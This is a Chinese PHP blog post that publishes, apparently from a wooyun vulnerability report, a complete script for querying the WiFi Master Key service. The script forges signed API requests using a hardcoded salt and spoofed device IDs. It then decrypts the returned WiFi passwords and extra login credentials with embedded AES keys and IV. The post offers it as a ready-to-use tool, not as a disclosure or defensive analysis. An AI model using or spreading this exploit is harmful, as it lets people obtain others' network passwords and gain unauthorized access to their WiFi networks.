WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
杏林同学录(六)
Oct 09 PHP
完美解决PHP中的Cannot modify header information 问题
Aug 12 PHP
php preg_replace替换实例讲解
Nov 04 PHP
WordPress中缩略图的使用以及相关技巧
Nov 24 PHP
给WordPress中的留言加上楼层号的PHP代码实例
Dec 14 PHP
PHP基于单例模式实现的数据库操作基类
Jan 15 PHP
简单谈谈PHP中strlen 函数
Feb 27 PHP
解决PHP上传非标准格式的图片pjpeg失败的方法
Mar 12 PHP
PHP+MySQL实现模糊查询员工信息功能示例
Jun 01 PHP
PHP序列化的四种实现方法与横向对比
Nov 29 PHP
Thinkphp5.0 框架视图view的比较标签用法分析
Oct 12 PHP
PHP实现常用排序算法的方法
Feb 05 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
十天学会php之第八天
2006/10/09 PHP
PHP怎样调用MSSQL的存储过程
2006/10/09 PHP
PHP经典的给图片加水印程序
2006/12/06 PHP
PHP正则替换函数preg_replace和preg_replace_callback使用总结
2014/09/22 PHP
thinkPHP5框架设置404、403等http状态页面的方法
2018/06/05 PHP
php设计模式之策略模式应用案例详解
2019/06/17 PHP
自己的js工具 Event封装
2009/08/21 Javascript
jquery获得下拉框值的代码
2011/08/13 Javascript
IE不支持getElementsByClassName最终完美解决方案
2012/12/17 Javascript
固定表格行列(expression)在IE下适用
2013/07/25 Javascript
javascript查找字符串中出现最多的字符和次数的小例子
2013/10/29 Javascript
jquery判断输入密码两次是否相等
2020/04/22 Javascript
浅谈VUE监听窗口变化事件的问题
2018/02/24 Javascript
深入理解es6块级作用域的使用
2019/03/28 Javascript
JS数组方法push()、pop()用法实例分析
2020/01/18 Javascript
序列化模块json代码实例详解
2020/03/03 Javascript
JavaScript的垃圾回收机制与内存管理
2020/08/06 Javascript
微信小程序实现左滑删除效果
2020/11/18 Javascript
[39:08]完美世界DOTA2联赛PWL S3 LBZS vs CPG 第一场 12.12
2020/12/16 DOTA
Python使用metaclass实现Singleton模式的方法
2015/05/05 Python
Python中super的用法实例
2015/05/28 Python
Python加密方法小结【md5,base64,sha1】
2017/07/13 Python
新手入门Python编程的8个实用建议
2019/07/12 Python
解决Atom安装Hydrogen无法运行python3的问题
2019/08/28 Python
基于pandas中expand的作用详解
2019/12/17 Python
python图形开发GUI库pyqt5的基本使用方法详解
2020/02/14 Python
使用python采集Excel表中某一格数据
2020/05/14 Python
Lentiamo丹麦:购买便宜的隐形眼镜
2021/01/13 全球购物
应届生求职信写作技巧
2013/10/24 职场文书
个人简历自荐信
2014/06/26 职场文书
乡镇精神文明建设汇报材料
2014/08/15 职场文书
员工三分钟演讲稿
2014/08/19 职场文书
2014年社区妇联工作总结
2014/12/02 职场文书
先进员工事迹材料
2014/12/20 职场文书
营销计划书范文
2015/01/17 职场文书
2016年教师学习廉政准则心得体会
2016/01/20 职场文书